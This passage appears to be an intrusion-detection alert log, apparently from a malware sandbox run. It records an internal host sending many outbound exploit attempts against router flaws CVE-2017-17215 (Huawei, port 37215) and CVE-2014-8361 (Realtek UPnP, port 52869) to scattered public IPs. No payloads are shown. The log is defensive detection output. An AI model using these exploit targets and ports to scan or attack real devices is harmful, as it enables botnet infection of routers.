Source Port:	59650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.49.77

Timestamp:	2024-07-20T23:01:02.119631+0200
SID:	2835222
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.219.32.62

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	42542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	2024-07-20T23:01:19.347530+0200
SID:	2027339
Source Port:	59766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.229.17.57

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	41368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.185.20.188

Timestamp:	2024-07-20T23:01:11.815913+0200
SID:	2835222
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.42.58.223

Timestamp:	2024-07-20T23:01:19.861229+0200
SID:	2027339
Source Port:	42502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.153.207.206

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	36392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.31.133

Timestamp:	2024-07-20T23:01:18.296192+0200
SID:	2835222
Source Port:	44040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.107.86.189

Timestamp:	2024-07-20T23:01:18.267356+0200
SID:	2835222
Source Port:	33462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	2024-07-20T23:01:08.939279+0200
SID:	2027339
Source Port:	49680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.108.79

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	48934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.45.42.138

Timestamp:	2024-07-20T23:01:21.264733+0200
SID:	2027339
Source Port:	35072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.207.228.137

Timestamp:	2024-07-20T23:01:25.227278+0200
SID:	2027339
Source Port:	44574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.131.249.62

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.134.108.32

Timestamp:	2024-07-20T23:01:21.608712+0200
SID:	2027339
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.216.133.169

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	44552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.144.192.144

Timestamp:	2024-07-20T23:01:20.227504+0200
SID:	2027339
Source Port:	48494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.190.222

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	47996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.181.48

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.20.80

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	45076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.121.203.188

Timestamp:	2024-07-20T23:01:02.136941+0200
SID:	2835222
Source Port:	57042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.112.222.157

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	35748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.89.154

Timestamp:	2024-07-20T23:01:02.108705+0200
SID:	2835222
Source Port:	53600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.89.159.185

Timestamp:	2024-07-20T23:01:04.151190+0200
SID:	2027339
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.93.159.93

Timestamp:	2024-07-20T23:01:24.892331+0200
SID:	2835222
Source Port:	37222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.251.158

Timestamp:	2024-07-20T23:01:18.506018+0200
SID:	2835222
Source Port:	49826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 168.165.233.141

Timestamp:	2024-07-20T23:01:18.515987+0200
SID:	2835222
Source Port:	35550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.32.17.115

Timestamp:	2024-07-20T23:01:18.410806+0200
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.199.208.241

Timestamp:	2024-07-20T23:01:00.656262+0200
SID:	2835222
Source Port:	53410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.75.193.125

Timestamp:	2024-07-20T23:01:21.199737+0200
SID:	2027339
Source Port:	56664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.164.122

Timestamp:	2024-07-20T23:01:02.068327+0200
SID:	2835222
Source Port:	49516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.156.85.195

Timestamp:	2024-07-20T23:01:21.194640+0200
SID:	2835222
Source Port:	48356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.79.195.70

Timestamp:	2024-07-20T23:01:19.473907+0200
SID:	2027339
Source Port:	48448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.49.143.0

Timestamp:	2024-07-20T23:01:18.292313+0200
SID:	2835222
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.31.253.14

Timestamp:	2024-07-20T23:01:04.601975+0200
SID:	2027339
Source Port:	60594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.112.9.246

Timestamp:	2024-07-20T23:01:19.859328+0200
SID:	2027339
Source Port:	57682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.235.197.43

Timestamp:	2024-07-20T23:01:20.383814+0200
SID:	2027339
Source Port:	33564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.173.151

Timestamp:	2024-07-20T23:01:18.416341+0200
SID:	2835222
Source Port:	56366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.220.3.30

Timestamp:	2024-07-20T23:01:20.351771+0200
SID:	2027339
Source Port:	37654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.29.56.156

Timestamp:	2024-07-20T23:01:21.116360+0200
SID:	2027339
Source Port:	38564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.52.45.132

Timestamp:	2024-07-20T23:01:18.550419+0200
SID:	2835222
Source Port:	39796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.137.214.123

Timestamp:	2024-07-20T23:01:21.631759+0200
SID:	2027339
Source Port:	47382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 145.149.22.179

Timestamp:	2024-07-20T23:01:00.656262+0200
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.0.45.254

Timestamp:	2024-07-20T23:01:20.253482+0200
SID:	2027339
Source Port:	36694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.106.80.160

Timestamp:	2024-07-20T23:01:21.943543+0200
SID:	2835222
Source Port:	48624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.32.247

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	55680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.87.118

Timestamp:	2024-07-20T23:01:21.214202+0200
SID:	2027339
Source Port:	38728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.221.87.32

Timestamp:	2024-07-20T23:01:02.067656+0200
SID:	2835222
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.48.132

Timestamp:	2024-07-20T23:01:20.979517+0200
SID:	2835222
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.14.217

Timestamp:	2024-07-20T23:01:18.263044+0200
SID:	2835222
Source Port:	36278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.209.84.96

Timestamp:	2024-07-20T23:01:21.461356+0200
SID:	2835222
Source Port:	45902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.46.168.107

Timestamp:	2024-07-20T23:01:22.224262+0200
SID:	2027339
Source Port:	35420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.90.216

Timestamp:	2024-07-20T23:01:02.068327+0200
SID:	2835222
Source Port:	54670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.225.33.253

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.217.202.87

Timestamp:	2024-07-20T23:01:24.897385+0200
SID:	2835222
Source Port:	45666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.167.171.74

Timestamp:	2024-07-20T23:01:21.547924+0200
SID:	2027339
Source Port:	34874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.73.14

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	53158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.228.206.146

Timestamp:	2024-07-20T23:01:04.444180+0200
SID:	2027339
Source Port:	50178
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.68.100.131

Timestamp:	2024-07-20T23:01:20.276054+0200
SID:	2027339
Source Port:	47212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.173.225

Timestamp:	2024-07-20T23:00:59.201033+0200
SID:	2835222
Source Port:	57576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.15.115.232

Timestamp:	2024-07-20T23:01:18.416548+0200
SID:	2835222
Source Port:	50602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.134.27

Timestamp:	2024-07-20T23:01:18.295095+0200
SID:	2835222
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	2024-07-20T23:01:20.203275+0200
SID:	2027339
Source Port:	41954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.32.103.4

Timestamp:	2024-07-20T23:01:21.199737+0200
SID:	2835222
Source Port:	37926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 48.147.199.167

Timestamp:	2024-07-20T23:01:20.134238+0200
SID:	2835222
Source Port:	37104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.182.83

Timestamp:	2024-07-20T23:01:18.514565+0200
SID:	2835222
Source Port:	46562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.80.178.96

Timestamp:	2024-07-20T23:01:21.293559+0200
SID:	2027339
Source Port:	36248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	2024-07-20T23:01:19.328880+0200
SID:	2027339
Source Port:	44414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.218.203

Timestamp:	2024-07-20T23:01:02.067656+0200
SID:	2835222
Source Port:	51132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.158.237.150

Timestamp:	2024-07-20T23:01:19.809328+0200
SID:	2027339
Source Port:	60470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.13.19.125

Timestamp:	2024-07-20T23:00:59.216912+0200
SID:	2835222
Source Port:	37398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.221.100.187

Timestamp:	2024-07-20T23:01:19.812725+0200
SID:	2027339
Source Port:	53798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 223.98.49.191

Timestamp:	2024-07-20T23:01:02.108705+0200
SID:	2835222
Source Port:	36080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.6.48

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	37970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.193.169.99

Timestamp:	2024-07-20T23:01:21.443334+0200
SID:	2027339
Source Port:	42126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.187.182

Timestamp:	2024-07-20T23:01:20.169725+0200
SID:	2835222
Source Port:	60438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.95.79.32

Timestamp:	2024-07-20T23:01:19.848630+0200
SID:	2027339
Source Port:	39800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.255.209.13

Timestamp:	2024-07-20T23:01:04.621319+0200
SID:	2835222
Source Port:	39682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.112.254.56

Timestamp:	2024-07-20T23:01:19.861971+0200
SID:	2027339
Source Port:	59764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	2024-07-20T23:01:21.464983+0200
SID:	2027339
Source Port:	38308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.138.137.217

Timestamp:	2024-07-20T23:01:18.435936+0200
SID:	2835222
Source Port:	56808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.22.90.90

Timestamp:	2024-07-20T23:01:21.202136+0200
SID:	2027339
Source Port:	42130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.53.37.254

Timestamp:	2024-07-20T23:01:19.826663+0200
SID:	2027339
Source Port:	56122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.136.199.61

Timestamp:	2024-07-20T23:01:00.660317+0200
SID:	2835222
Source Port:	55228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.90.253.17

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	44420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	2024-07-20T23:01:09.021221+0200
SID:	2027339
Source Port:	47164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.226.72.201

Timestamp:	2024-07-20T23:01:18.431931+0200
SID:	2835222
Source Port:	40150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.250.207.152

Timestamp:	2024-07-20T23:01:21.558738+0200
SID:	2027339
Source Port:	34558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.128.48

Timestamp:	2024-07-20T23:01:00.664351+0200
SID:	2835222
Source Port:	46836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	2024-07-20T23:01:08.938949+0200
SID:	2027339
Source Port:	51090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	2024-07-20T23:01:09.030401+0200
SID:	2027339
Source Port:	36084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.210.17.240

Timestamp:	2024-07-20T23:01:21.199737+0200
SID:	2027339
Source Port:	34664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.10.251.72

Timestamp:	2024-07-20T23:01:21.048326+0200
SID:	2027339
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.17.98.184

Timestamp:	2024-07-20T23:00:59.201033+0200
SID:	2835222
Source Port:	52234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 176.150.171.140

Timestamp:	2024-07-20T23:01:02.088422+0200
SID:	2835222
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.239.203.194

Timestamp:	2024-07-20T23:01:02.088423+0200
SID:	2835222
Source Port:	41918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.160.205

Timestamp:	2024-07-20T23:01:18.596172+0200
SID:	2835222
